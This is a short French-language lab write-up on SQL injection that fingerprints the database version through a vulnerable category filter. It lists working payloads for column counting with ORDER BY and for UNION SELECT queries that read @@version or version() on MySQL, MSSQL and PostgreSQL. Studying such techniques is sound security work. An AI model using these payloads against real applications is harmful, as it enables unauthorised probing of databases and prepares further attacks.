Identification du SGBD et de sa version (MySQL / MSSQL / PostgreSQL)

SQL injection attack, querying the database type and version on MySQL and Microsoft

  • Contexte / vulnérabilité : filtre category vulnérable à l’injection SQL; l’application concatène la valeur utilisateur dans la clause WHERE. Utiliser ORDER BY / UNION permet d’énumérer le nombre de colonnes puis d’extraire une valeur de version.

  • But : afficher la chaîne de version du SGBD.

  • Méthodologie rapide :

    1. Déterminer le nombre de colonnes : Payload :

      ' ORDER BY 2-- -
      ' ORDER BY 3-- -

      • (incrémenter l’indice jusqu’à provoquer une erreur pour trouver le nombre exact de colonnes).

    2. Valider UNION (choisir un UNION SELECT avec le même nombre de colonnes) : Exemple minimal 2 colonnes :

      ' UNION SELECT '1','2'-- -

    3. Récupérer la version — utiliser la fonction/variable adaptée au moteur.

      Payloads ciblés (exacts) :

      • Microsoft SQL Server (MSSQL) — variable système : @@version

        ' UNION SELECT '1', @@version-- -

      • MySQL — fonction : version() (ou variable @@version)

        ' UNION SELECT '1', version()-- -
        ' UNION SELECT '1', @@version-- -

      • PostgreSQL — fonction : version()

        ' UNION SELECT '1', version()-- -

Adapter le nombre de colonnes et l’ordre des colonnes selon la requête vulnérable (ex. UNION SELECT NULL, version() si types différents). Utiliser NULL pour colonnes dont le type ne doit pas correspondre si nécessaire.

  • Interprétation : la page affichera la chaîne renvoyée par @@version / version() (ex. Microsoft SQL Server 2019 (RTM) - 15.x..., 5.7.33-0ubuntu0.18.04.1, PostgreSQL 13.3 on x86_64-...), permettant le fingerprinting du SGBD.

  • Impact : information disclosure utile pour cibler des exploits spécifiques à la version, augmentation du risque d’attaques postérieures.

Mis à jour

Ce contenu vous a-t-il été utile ?